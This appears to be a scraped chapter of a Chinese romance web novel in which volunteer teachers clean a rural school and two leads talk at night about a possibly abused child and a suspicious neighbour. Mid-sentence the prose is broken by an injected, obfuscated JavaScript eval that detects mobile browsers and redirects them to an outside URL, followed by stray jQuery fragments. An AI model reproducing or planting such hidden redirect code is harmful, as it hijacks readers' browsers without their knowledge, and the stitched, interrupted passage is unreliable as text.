26. J.T.26

作品:《今年冬天一起看雪吗

    吃完饭后,大家一起简单分了一下工。


    小张自愿去收拾厨房和洗碗筷,担心他一个人忙不过来,Cute申请加入帮他一起收拾,这样效率高一些。


    剩余的人,跟着柴遥一起去打扫教学楼,徐卓和奕竹正年轻,习惯性地排在第一位,靳繁和谈秋宁则不慌不忙、肩并肩地走着,肩膀与肩膀之间摩擦出热,谈秋宁往旁边多走一步,避开与他的接触,同时出声斜睨他一眼:“热。”


    谈秋宁一向怕热,稍微有点热源就像浑身被暴晒一样,血液滚烫地流动。


    听她说完,靳繁把小雷点记在脑子里,自觉地往旁边走了两步,两人中间的缝隙像是能过穿堂风。


    走了5分钟,走到教学楼前的小铁皮生锈的门前,柴遥从一沓钥匙中选出正确的钥匙把门打开,迎面扑来一股灰尘的味道,谈秋宁扇了扇面前的空气,跟在奕竹身后走进去。


    “你们看一下,负责哪一块。”


    “我和徐卓负责门窗吧。”靳繁扫量了一下有两米高的门窗。


    谈秋宁:“那我们负责桌凳和后面的板报。”


    奕竹自荐:“我擅长画画,来搞定板报。”


    她一边说一边走到后黑板面前,用手比划着说:“是不是一个类似简单的迎新板报就OK了?”


    “对。”


    “事不宜迟,那我们抓紧时间开始吧,这个教室结束还有隔壁教室呢。”


    徐卓一边擦玻璃一边哼着歌:“开心往前飞,就算有亿万公里、一吨行李,我们不放弃,前进需要勇气,一直往前飞......”


    听到他的歌声,奕竹顿笔,回头问:“这什么歌啊,好熟悉。”


    徐卓:“《开心往前飞》”


    “啊啊啊我想起来了,我说怎么那么熟悉!后面是不是‘宇宙很大任飞翔,满载欢乐回航’。”


    接着徐卓和奕竹一起唱:“闯一闯,让我们闯一闯,我们志气要比天还高。”


    谈秋宁被欢乐腔调的歌声感染,嘴角噙着笑跟着歌声拉桌子,把桌角对齐。


    一下午的打扫时因有徐卓和奕竹两个活宝在,也没显得枯燥:


    “你们男孩子小时候是不是最爱看这些?”


    “还好吧。我一般般,偶尔会看。”


    “架子怎么还上来了,哈哈哈哈,原来徐卓你也有包袱。”


    “没有没有,说的是实话。”


    “那你有你的光吗?”


    “是奥特曼吗?硬要说的话,我喜欢迪迦。”


    ......


    他们有一搭没一搭地聊着,有那么几个话题谈秋宁和靳繁会加入聊天,大多数都是沉默着看彼此一眼,打扫完卫生之后,谈秋宁准备出去洗毛巾从靳繁身旁经过,故意停留了一会儿小声说:“好好干活,眼睛别斜,小心以后斜视眼。”


    靳繁被她话里的语气逗笑,粲然一笑,偷看被发现了。


    晚上吃完饭,大家从早到晚忙碌了一天,满格电量被耗尽,早早回房间休息了。


    谈秋宁洗漱好,枕在果果的兔子上,鼻尖萦绕着熟悉的气息,让人莫名心安,手机“叮咚”一响,是靳繁发来的消息。


    靳:【睡了没?】


    秋日葵:【没。】


    靳:【累不累?】


    秋日葵:【没那么虚。】


    靳繁盯着手机屏幕上意有所指的四个字,被逗笑,他甚至能够想象到谈秋宁发这句话时的表情,若是在旁边,一定是斜睨他一眼,没好气地说出。


    靳:【困不困?方不方便通话说说小豆芽的事?】


    他还记得上午谈秋宁没说完的后半句话,被徐卓等人的出现而阻断。


    秋日葵:【重点是在通话,还是小豆芽?】


    靳繁的心思昭然若揭,也没掩饰地说:【想和你单独待会儿是重点,小豆芽是引子。】


    他本以为谈秋宁会冷脸拒绝,没成想下一秒看到弹在屏幕上的两个字:【出来。】


    “有点闷?”


    靳繁出门,看到楼梯口处站着谈秋宁。


    “嗯,出来透口气。”


    “你不冷?”


    谈秋宁盯着面前没穿外套,只穿着短袖的靳繁,出声问。


    靳繁直言:“一时着急,忘了。”


    “我等你一会儿,回去拿,别感冒了。”即使谈秋宁很怕热,夜晚的西城总是吹着山风,又凉又冽,她出来时套了一件针织衫。停顿一会儿怕靳繁多想,又说:“现在正是需要人手,你要是病倒了,费时费人力,得不偿失。”


    靳繁剑眉上扬,眉眼染着笑,耐心听着她的欲盖弥彰:“好。”


    没一会儿靳繁便穿好了外套出来,手里拿着一盒东西,等他走近,谈秋宁定睛一看才发现是驱蚊液。


    “早起看到你胳膊上被蚊子咬的红印,让送物资的人多送了几箱蚊香液。”


    谈秋宁讶然,应下声:“谢谢。”


    “去学校外的小路走走吧。”


    “好。”


    “你上午被打断的后半句是什么?”靳繁的双手总是一会儿抬起一会儿落下,在谈秋宁的后背起起伏伏,边走边别扭地问。


    谈秋宁沉思了一会儿,组织一下语言才娓娓开口:“还是李阿奶的事情。我看到小豆芽身上有淤痕,所以就在想她把小豆芽打扮成男孩子的模样或许是在保护她。”


    靳繁自然地接话:“对。豆芽父亲想要一个男孩,久想成魔,他一定会把气撒在豆芽身上。但这也只是猜测,有机会还是得去一趟豆芽家看看。”


    “还有李阿奶,也很可疑。”谈秋宁的脚步逐渐慢了下来,瞳孔在眼眶里打转,所有的夜色都被收进眼底,“她说话没有口音,一直讲的是普通话。哪怕是考出去的柴遥姐,在外面待过几年后再回来长时间待在西城也多少有点口音的,但李阿奶,待在西城一辈子了,怎么一直没口音。除非......”


    “除非她不是西城人。”


    两人几乎是异口同声地说,话音落,两人面对面站着,对面人紧紧盯着她,谈秋宁面上闪过一丝不自然地别过去脸,靳繁则是唇翘起,噙着笑。


    “我也察觉到了。李阿奶说话的口音和我外婆很像,沪城口音。”靳繁顺着面前谈秋宁的步子往前走。


    “假如,我们的猜想是正确的,那就说明,西城远比表面更可怕。”


    谈秋宁的目光与靳繁的眼神在空气中交汇,摩擦出同频的火花。


    而后,又听见她话锋一转


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16233527|180218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“你需要准备多久?要不这几天你先别上课,先去小豆芽家了解了解情况。然后我找省内妇联再详细了解一下,两边不耽误。”


    听到她的话,靳繁嘴角的弧度更深,朝谈秋宁一步一步靠近,单手环在她身后,没碰着保持安全距离,阻挡她的退路,拖着缠绵的嗓音不急不缓地说:“谁说,我要走了?”


    “你不走?”谈秋宁讶然,她以为半个月后他会跟着支教团离开,眼看着靳繁步步靠近,脚步不自觉地后退几步,途中轻轻撞到靳繁温热的臂膀,还没来得及出声怼他,听见靳繁先一步开口:


    “坦白说,我一开始决定要来,确实是因为你,但这两天接触下来,反而让我找到了这件事本身的意义。我心非木石,不会没有所动,所以你不要有心理负担。我是成年人,我得为自己的行为买单,如果没这个能力,那我活该自食恶果。”


    “不后悔?”


    “不后悔。”


    他紧紧盯着谈秋宁的眼睛,这是第一次,那么近地贴近她的眼睛。


    她的眼睛总是像被引路灯照耀过的宽阔海面般亮堂堂,一对视,像是被魔力吸引一般沉溺其中。


    “更何况,小城故事多,指不定会发生浪漫邂逅的事情,我可舍不得这千载难逢的机会。”靳繁正经没个两分钟,又开始耍嘴皮子。


    谈秋宁白了他一眼,边翻旧账边讪讪地说:“......悠着点吧您,小心精神分裂,不是敏感肌就是白日做梦。”


    说完,谈秋宁迈着步子加快速度往前走。


    靳繁笑出声悠哉悠哉地跟在她身后,追上去,又问:“那你觉得徐卓怎么样?”


    谈秋宁懒得搭理他,继续往前走,偏得靳繁认死理,非要又问一遍,悻悻地说:“怼我,张口就来,问他,你就闭口不谈。谈秋宁,你不会真喜欢徐卓那个类型的吧?”


    见她没回答,靳繁又说:“算了,你喜欢也正常,他确实比我年轻。”


    谈秋宁眯着眼,听眼前人语速极快地叽里呱啦一顿输出,完全没了往日的成熟与稳重,听到后音被逗笑:


    “......不怎么样。”


    “好了,靳律别作哈,安生点。”


    谈秋宁不再任由他胡言乱语,带着哄的意味边走边拉住他的手腕。


    他穿着一件黑色简单款的速干薄外套,袖口处卷起露出腕骨,温热的手掌与冷冽的腕骨相握在一起,靳繁早已乱了呼吸,顺杆往上爬,泛热的指尖一点点往上朝她手掌心钻去,纤长的手指反握着她的手腕,又一点点往下,握住她的手。


    任由他牵着,谈秋宁没反抗,两人继续并肩往山城小学走。


    道路两旁是到腰处的烟叶耷拉着耳朵,抬起头仰望天空有几颗明星亮晶晶地闪着眼睛,一阵凉风吹来,谈秋宁察觉耳边呼呼乱作响,而心跳早已乱了原有的频率。


    走到学校内,靳繁目送谈秋宁上了楼,手心里除了一缕余温,还有些手汗,他没立刻回屋,站在门口吹了会凉风,双手插兜,抬头看着星星,反复回味刚才在小路上发生的一系列,他被谈秋宁拿捏得死死的,也心甘情愿被拿捏。


    缓了许久,从兜里顺出手机,给谈秋宁发了“晚安”,才回屋内。


    一夜无梦。